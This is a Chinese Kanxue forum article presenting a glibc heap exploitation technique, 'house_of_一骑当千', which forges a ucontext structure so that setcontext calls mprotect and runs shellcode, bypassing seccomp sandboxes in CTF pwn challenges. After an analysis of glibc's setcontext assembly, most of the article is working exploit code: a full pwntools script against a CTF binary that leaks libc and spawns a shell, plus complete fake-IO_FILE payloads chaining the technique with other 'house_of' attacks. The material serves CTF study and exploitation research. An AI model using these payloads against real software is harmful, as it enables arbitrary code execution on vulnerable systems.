本文为看雪论坛精华文章
看雪论坛作者ID:我超啊
沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千是一种只用setcontext就定能绕过沙盒攻击手法。
一
setcontext+53之殇
setcontext+53是打pwn中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61,主要控制的寄存器也从rdi变成了rdx。setcontext+53是执行orw的重要攻击手段,由于属于常见方式就不再赘述。
setcontext+53作为常用的攻击手段,在版本迭代中主要参数已经从rdi修复成rdx,rdx是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat等中rdx都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI出现很大一部分是解决了rdx的问题。house_of_emma也必须借助 house_of_KIWI才能绕过seccomp。
以2.37以后还能使用的house_of_cat为例,对比源码和汇编可以发现,rdx之所以可控是因为,编译器在处理比较时使用了rdx。
int_IO_switch_to_wget_mode (FILE *fp){// 编译器在处理这一段时使用 rdxif (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)return EOF;......}
► 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr640x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
因为setcontext是汇编所写(下面会详写),显然rdi修复成rdx也是GNU有意而为,今后也可能被修改成rcx甚至r15,靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?
二
ucontext函数族分析
1.函数族
研究setcontext之前,我们要知道一个函数族,就是ucontext 函数族,它包括以下函数。
int getcontext(ucontext_t *ucp);int setcontext(const ucontext_t *ucp)void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...);int swapcontext(ucontext_t *restrict oucp,const ucontext_t *restrict ucp);
getcontext用来获取用户上下文,
setcontext用来设置用户上下文 makecontext操作用户上下文,可以设置执行函数,本质调用`setcontext`` swapcontext进行两个上下文的交换
2.setcontext
ENTRY(__setcontext)/* Save argument since syscall will destroy it. */pushq %rdicfi_adjust_cfa_offset(8)/* Set the signal mask withrt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG/8). */leaq oSIGMASK(%rdi), %rsixorl %edx, %edxmovl $SIG_SETMASK, %edimovl $_NSIG8,%r10dmovl $__NR_rt_sigprocmask, %eaxsyscall/* Pop the pointer into RDX. The choice is arbitrary, butleaving RDI and RSI available for use later can avoidshuffling values. */popq %rdx # 这是就是 rdi 向 rdx转换的关键。cfi_adjust_cfa_offset(-8)cmpq $-4095, %rax /* Check %rax for error. */jae SYSCALL_ERROR_LABEL /* Jump to error handler if error. *//* Restore the floating-point context. Not the registers, only therest. */movq oFPREGS(%rdx), %rcxfldenv (%rcx)ldmxcsr oMXCSR(%rdx)/* Load the new stack pointer, the preserved registers andregisters used for passing args. */cfi_def_cfa(%rdx, 0)cfi_offset(%rbx,oRBX)cfi_offset(%rbp,oRBP)cfi_offset(%r12,oR12)cfi_offset(%r13,oR13)cfi_offset(%r14,oR14)cfi_offset(%r15,oR15)cfi_offset(%rsp,oRSP)cfi_offset(%rip,oRIP)/* 这里往下就是 setcontext+61 的地方*/movq oRSP(%rdx), %rspmovq oRBX(%rdx), %rbxmovq oRBP(%rdx), %rbpmovq oR12(%rdx), %r12movq oR13(%rdx), %r13movq oR14(%rdx), %r14movq oR15(%rdx), %r15#if SHSTK_ENABLED/* Check if shadow stack is enabled. */testl $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSETjz L(no_shstk)/* If the base of the target shadow stack is the same as thebase of the current shadow stack, we unwind the shadowstack. Otherwise it is a stack switch and we look for arestore token. */movq oSSP(%rdx), %rsimovq %rsi, %rdi/* Get the base of the target shadow stack. */movq (oSSP + 8)(%rdx), %rcxcmpq %fs:SSP_BASE_OFFSET, %rcxje L(unwind_shadow_stack)L(find_restore_token_loop):/* Look for a restore token. */movq -8(%rsi), %raxandq $-8, %raxcmpq %rsi, %raxje L(restore_shadow_stack)/* Try the next slot. */subq $8, %rsijmp L(find_restore_token_loop)L(restore_shadow_stack):/* Pop return address from the shadow stack since setcontextwill not return. */movq $1, %raxincsspq %rax/* Use the restore stoken to restore the target shadow stack. */rstorssp -8(%rsi)/* Save the restore token on the old shadow stack. NB: Thisrestore token may be checked by setcontext or swapcontextlater. */saveprevssp/* Record the new shadow stack base that was switched to. */movq (oSSP + 8)(%rdx), %raxmovq %rax, %fs:SSP_BASE_OFFSETL(unwind_shadow_stack):rdsspq %rcxsubq %rdi, %rcxje L(skip_unwind_shadow_stack)negq %rcxshrq $3, %rcxmovl $255, %esiL(loop):cmpq %rsi, %rcxcmovb %rcx, %rsiincsspq %rsisubq %rsi, %rcxja L(loop)L(skip_unwind_shadow_stack):movq oRSI(%rdx), %rsimovq oRDI(%rdx), %rdimovq oRCX(%rdx), %rcxmovq oR8(%rdx), %r8movq oR9(%rdx), %r9/* Get the return address set with getcontext. */movq oRIP(%rdx), %r10/* Setup finally %rdx. */movq oRDX(%rdx), %rdx/* Check if return address is valid for the case when setcontextis invoked from __start_context with linked context. */rdsspq %raxcmpq (%rax), %r10/* Clear RAX to indicate success. NB: Don't use xorl to keepEFLAGS for jne. */movl $0, %eaxjne L(jmp)/* Return to the new context if return address valid. */pushq %r10retL(jmp):/* Jump to the new context directly. */jmp *%r10L(no_shstk):#endif/* The following ret should return to the address set withgetcontext. Therefore push the address on the stack. */movq oRIP(%rdx), %rcxpushq %rcxmovq oRSI(%rdx), %rsimovq oRDI(%rdx), %rdimovq oRCX(%rdx), %rcxmovq oR8(%rdx), %r8movq oR9(%rdx), %r9/* Setup finally %rdx. */movq oRDX(%rdx), %rdx/* End FDE here, we fall into another context. */cfi_endproccfi_startproc/* Clear rax to indicate success. */xorl %eax, %eaxretPSEUDO_END(__setcontext)weak_alias (__setcontext, setcontext)
三
ucontext结构体
typedef struct ucontext_t{unsigned long int __ctx(uc_flags); // 1个字长struct ucontext_t *uc_link;//1个字长stack_t uc_stack; //3个字长mcontext_t uc_mcontext; //操作部分1sigset_t uc_sigmask; //操作部分2struct _libc_fpstate __fpregs_mem; //操作部分3__extension__ unsigned long long int __ssp[4];//操作部分4} ucontext_t;
1.uc_sigmask
2.uc_mcontext
typedef struct{gregset_t __ctx(gregs);/* Note that fpregs is a pointer. */fpregset_t __ctx(fpregs);__extension__ unsigned long long __reserved1 [8];} mcontext_t;
typedef greg_t gregset_t[__NGREG];#ifdef __USE_GNU/* Number of each register in the `gregset_t' array. */enum{REG_R8 = 0,# define REG_R8 REG_R8REG_R9,# define REG_R9 REG_R9REG_R10,# define REG_R10 REG_R10REG_R11,# define REG_R11 REG_R11REG_R12,# define REG_R12 REG_R12REG_R13,# define REG_R13 REG_R13REG_R14,# define REG_R14 REG_R14REG_R15,# define REG_R15 REG_R15REG_RDI,# define REG_RDI REG_RDIREG_RSI,# define REG_RSI REG_RSIREG_RBP,# define REG_RBP REG_RBPREG_RBX,# define REG_RBX REG_RBXREG_RDX,# define REG_RDX REG_RDXREG_RAX,# define REG_RAX REG_RAXREG_RCX,# define REG_RCX REG_RCXREG_RSP,# define REG_RSP REG_RSPREG_RIP,# define REG_RIP REG_RIPREG_EFL,# define REG_EFL REG_EFLREG_CSGSFS, /* Actually short cs, gs, fs, __pad0. */# define REG_CSGSFS REG_CSGSFSREG_ERR,# define REG_ERR REG_ERRREG_TRAPNO,# define REG_TRAPNO REG_TRAPNOREG_OLDMASK,# define REG_OLDMASK REG_OLDMASKREG_CR2# define REG_CR2 REG_CR2};#endif
3.__fpregs_mem
/* Restore the floating-point context. Not the registers, only therest. */movq oFPREGS(%rdx), %rcxfldenv (%rcx)
4.__ssp
ldmxcsr oMXCSR(%rdx)四
一骑当千
ucontext =b''ucontext += p64(0)*5mprotect_len = 0x20000__rdi = heap_addr # heap_addr binsh_addr__rsi = mprotect_len__rbp = heap_addr + mprotect_len__rbx = 0__rdx = 7__rcx = 0__rax = 0# 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址padding = fake_io_filepayload_start_addr = fake_io_addr# 0x2e8 下面的 print("IO_FILE len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = payload_start_addr + 0x2e8 + 0x10__rip = mprotect_addrucontext += p64(0)*8ucontext += p64(__rdi)ucontext += p64(__rsi)ucontext += p64(__rbp)ucontext += p64(__rbx)ucontext += p64(__rdx)ucontext += p64(__rcx)ucontext += p64(__rax)ucontext += p64(__rsp)ucontext += p64(__rip)ucontext = ucontext.ljust(0xe0,b'\x00')ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写print("ucontext len is:",hex(len(ucontext))) # 0xe8'''ucontext = ucontext.ljust(0x128,b'\x00')# 加载信号量 ,好像全是0也行 ,0x10个字长ucontext += p64(0)*0x10# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0)ucontext =ucontext.ljust(0x1c0,b'\x00')# ucontext += p64(0x1f80) # LDMXCSR [rdx+0x1c0] 加载 MXCSR 寄存器,好像是0也行'''# payload 可以开始于 fake_io_file ,也可以直接从 ucontext 开始payload = padding + ucontext# 0x2e8 与 __rsp相呼应print("IO_FILE len is",hex(len(payload)))# 自己写 shellcodeshellcode = """"""# largbin_attak 时需要 + 0x10payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10)payload += bytes(asm(shellcode))
五
举个栗子
struct heap_manager{void * do_func;heap_content * content;}struct heap_content{char content[size];}
print_note(heap_manager * heap_manager_1);① 调用gets(heap),在heap处写入ucontext,同时在heap开头的函数处写入setcontext函数地址。
② 调用setcontext(heap)就可以直接执行想执行的内容。
from pwn import *import pwn_scriptfrom sys import argvimport argparses = lambda data: io.send(data)sa = lambda delim, data: io.sendafter(delim, data)sl = lambda data: io.sendline(data)sla = lambda delim, data: io.sendlineafter(delim, data)r = lambda num=4096: io.recv(num)ru = lambda delims, drop=True: io.recvuntil(delims, drop)itr = lambda: io.interactive()uu32 = lambda data: u32(data.ljust(4, '\0'))uu64 = lambda data: u64(data.ljust(8, '\0'))leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))menu_last_str = 'Your choice :'add_heap_str = '1'delete_heap_str = '2'show_heap_str = '3'def add_heap(size,content):ru(menu_last_str)sl(add_heap_str)ru('Note size :')s(str(size))ru('Content :')s(content)def show_heap(index):ru(menu_last_str)sl(show_heap_str)ru('Index :')sl(str(index))def delete_heap(index):ru(menu_last_str)sl(delete_heap_str)ru('Index :')sl(str(index))def exit_pro():ru(menu_last_str)sl('5')if __name__ == '__main__':pwn_arch = 'amd64'pwn_script.init_pwn_linux(pwn_arch)pwnfile = './pmlnote_mc'ip_port = '111.200.241.244:61080'__ip = ip_port.split(":")[0]__port = ip_port.split(":")[1]io = process(pwnfile)# io = remote(__ip, __port)elf = ELF(pwnfile)rop = ROP(pwnfile)context.binary = pwnfilelibcfile='/lib/x86_64-linux-gnu/libc.so.6'libc = ELF(libcfile)'''struct heap_manager{void * do_func;heap_content * content;}struct heap_content{char content[size];}'''system_addr = 0x4006D0print_note_content = 0x400870print_note = 0x407700puts_addr =0x4006C0heap_list = 0x6116c0system_got = 0x611030stdout = 0x611680printf_sym =elf.sym["printf"]init = 0x409AC0add_heap(0x500,b"a"*0x10+b"/bin/sh\x00")add_heap(0x500,"b"*0x10)delete_heap(0)delete_heap(1)add_heap(0x10,p64(print_note_content)+p64(stdout))show_heap(0)stdout_addr = u64(ru("\n").ljust(8,b"\x00"))libc_base_addr = stdout_addr - 0x21a780print("libc_base_addr is :",hex(libc_base_addr))setcontext_addr = libc_base_addr + libc.sym["setcontext"]environ_addr = libc_base_addr +libc.sym["environ"]gets_addr = libc_base_addr +libc.sym["gets"]free_hook_addr = libc_base_addr +libc.sym["__free_hook"]unsortbin_addr = libc_base_addr + 0x219ce0mprotect_addr = libc_base_addr +libc.sym["mprotect"]delete_heap(2)add_heap(0x10,p64(print_note_content)+p64(heap_list))show_heap(0)heap_addr = u64(ru("\n").ljust(8,b"\x00")) - 0x2a0print("heap_addr is :",hex(heap_addr))delete_heap(3)add_heap(0x10,p64(gets_addr)+p64(heap_addr-0x200))show_heap(0)ucontext =b''ucontext += p64(setcontext_addr)+p64(0)*4mprotect_len = 0x20000__rdi = heap_addr # heap_addr binsh_addr__rsi = mprotect_len__rbp = heap_addr + mprotect_len__rbx = 0__rdx = 7__rcx = 0__rax = 0fake_io_addr = heap_addr + 0x2a0# 0x2e8 下面的 print("IO_FILE len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = fake_io_addr + 0xe8__rip = mprotect_addrucontext += p64(0)*8ucontext += p64(__rdi)ucontext += p64(__rsi)ucontext += p64(__rbp)ucontext += p64(__rbx)ucontext += p64(__rdx)ucontext += p64(__rcx)ucontext += p64(__rax)ucontext += p64(__rsp)ucontext += p64(__rip)ucontext = ucontext.ljust(0xe0,b'\x00')ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写print("ucontext len is:",hex(len(ucontext))) # 0xe8payload = ucontextprint("IO_FILE len is",hex(len(payload))) # 0x2e8 与 __rsp相呼应shellcode = asm(shellcraft.sh())payload += p64(fake_io_addr + len(payload) + 0x8) # largbin_attak 时需要 + 0x10payload += bytes(shellcode)pause()sl(payload)show_heap(0)itr()
六
连环战船
七
攻击方法完全体
1.houseof琴瑟琵琶 完全体
fake_io_addr = heap_addr + 0x1390obstack_ptr = fake_io_addr + 0x30fake_io_file = b''fake_io_file = fake_io_file.ljust(0x58,b'\x00')fake_io_file += p64(setcontext_addr) # 需要执行的函数fake_io_file += p64(0)fake_io_file += p64(fake_io_addr+0xe8) # 执行函数的 rdifake_io_file += p64(1) # obstack->use_extra_arg=1fake_io_file += p64(heap_addr+0x2000) # _IO_lock_t *_lock;fake_io_file = fake_io_file.ljust(0xc8,b'\x00')fake_io_file += p64(IO_obstack_jumps_addr + 0x20) # 触发 _IO_obstack_xsputn;fake_io_file += p64(obstack_ptr) # struct obstack *obstackprint(hex(len(fake_io_file))) # 因为是largebin attack 所以: 0xd8=0xe8-0x10# pause()# 执行函数的 rdi 的地址所存储的内容ucontext = b''ucontext += p64(0)*13mprotect_len = 0x20000tcache_thead_size = 0x290__rdi = heap_addr # heap_addr binsh_addr__rsi = mprotect_len__rbp = heap_addr + mprotect_len__rbx = 0__rdx = 7__rcx = 0__rax = 0# heap_addr + tcache_thead_size + 0x10000 # systm 栈帧务必要足够长# 0x1c8 对应第256行的 print("payload len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = fake_io_addr + 0x1c0 + 0x10__rip = mprotect_addr #execve_addr #mprotect_addrucontext += p64(__rdi)ucontext += p64(__rsi)ucontext += p64(__rbp)ucontext += p64(__rbx)ucontext += p64(__rdx)ucontext += p64(__rcx)ucontext += p64(__rax)ucontext += p64(__rsp)ucontext += p64(__rip)ucontext = ucontext.ljust(0xe0,b'\x00')ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写payload = fake_io_file + ucontextprint("payload len is",hex(len(payload))) # 0x1c0 与__rsp相呼应# pause()shellcode = asm(shellcraft.sh())payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10) # largbin_attak 时需要 +0x10payload = payload + bytes(shellcode)
2.houseof魑魅魍魉 完全体
# largebin_attack 攻击 house_魑魅魍魉# 模拟只有一次写入,payload 必须在前面写入# 为确保正确执行,需要利用 COMPILE_WPRINTF==1 的模式fake_io_addr = heap_addr + 0x1390put_stream_offset = 0x30 # put_stream 距离 fake_io 的偏移put_stream_addr = fake_io_addr + put_stream_offsetwrite_target_addr = memcpy_addrtarget_value_offset = 0x200 # 需要执行的函数存储的地址距离 fake_io 的偏移target_value_addr = fake_io_addr + target_value_offsetIO_wide_data_addr = fake_io_addr + 0xe0 # len(IO_IFLE) 利用原有的宽字符# 再一次执行到 memcpy时rdi的地址rdi_offset = 0xf # 因为 _IO_write_ptr 会加1,此处确保内存对齐rdi_ucontext_addr = target_value_addr + rdi_offset# more_len > count_len > 0x20 可以再次执行 memcpymore_len = 0x80*8 # 为什么 IO_help_jump_0_ 里面还要在右边移位2位??count_len= 0x28 # 要大于0x20_flags = 0x400 #_flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;fake_io_file = b""fake_io_file = fake_io_file.ljust(0x20,b'\x00')fake_io_file += p64(_flags) # 此处是 put_stream 起始地址; _flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;fake_io_file += p64(rdi_ucontext_addr)fake_io_file += p64(0)*2fake_io_file += p64(write_target_addr - 0x20)fake_io_file += p64(write_target_addr)fake_io_file += p64(write_target_addr + count_len)fake_io_file += p64(0)# 用于绕过 if (pos >= (size_t) (_IO_blen (fp) + flush_only)) 不执行mallocfake_io_file += p64((1<<64)-1)fake_io_file += p64(0)*2fake_io_file += p64(heap_addr+0x2000) #可写fake_io_file += p64(0)*2fake_io_file += p64(IO_wide_data_addr)fake_io_file = fake_io_file.ljust(0xc8,b'\x00')fake_io_file += p64(IO_help_jump_0_addr)fake_io_file += p64(0)fake_io_file += p64(heap_addr+0x2000) #可写fake_io_file += p64(0)fake_io_file += p64(target_value_addr)fake_io_file += p64(target_value_addr + more_len)fake_io_file += p64(IO_str_jumps_addr)fake_io_file = fake_io_file.ljust(0x1b8,b'\x00')fake_io_file += p64(put_stream_addr)fake_io_file = fake_io_file.ljust(target_value_offset - 0x10,b"\x00") # largbin_attak 时需要 - 0x10# 需要执行的函数是 setcontext,距离 fake_io 的偏移为 target_value_offsetfake_io_file += p64(setcontext_addr) + p64(0) # 此段长度为 0x10 与 rdi_offset 对应ucontext =b""ucontext += p64(0)*13mprotect_len = 0x20000tcache_thead_size = 0x290__rdi = heap_addr # heap_addr binsh_addr__rsi = mprotect_len__rbp = heap_addr + mprotect_len__rbx = 0__rdx = 7__rcx = 0__rax = 0# heap_addr + tcache_thead_size + 0x10000 # systm 栈帧务必要足够长# 0x2e8 下面的 print("payload len is",hex(len(payload)))# largbin_attak 时需要 + 0x10__rsp = fake_io_addr + 0x2e8 + 0x10__rip = mprotect_addr #execve_addr #mprotect_addrucontext += p64(__rdi)ucontext += p64(__rsi)ucontext += p64(__rbp)ucontext += p64(__rbx)ucontext += p64(__rdx)ucontext += p64(__rcx)ucontext += p64(__rax)ucontext += p64(__rsp)ucontext += p64(__rip)ucontext = ucontext.ljust(0xe0,b'\x00')ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写payload = fake_io_file + ucontextprint("payload len is",hex(len(payload))) # 0x2e8 与__rsp相呼应shellcode = asm(shellcraft.sh())payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10) # largbin_attak 时需要 + 0x10payload += bytes(shellcode)
3.其他
看雪ID:我超啊
https://bbs.kanxue.com/user-home-894406.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!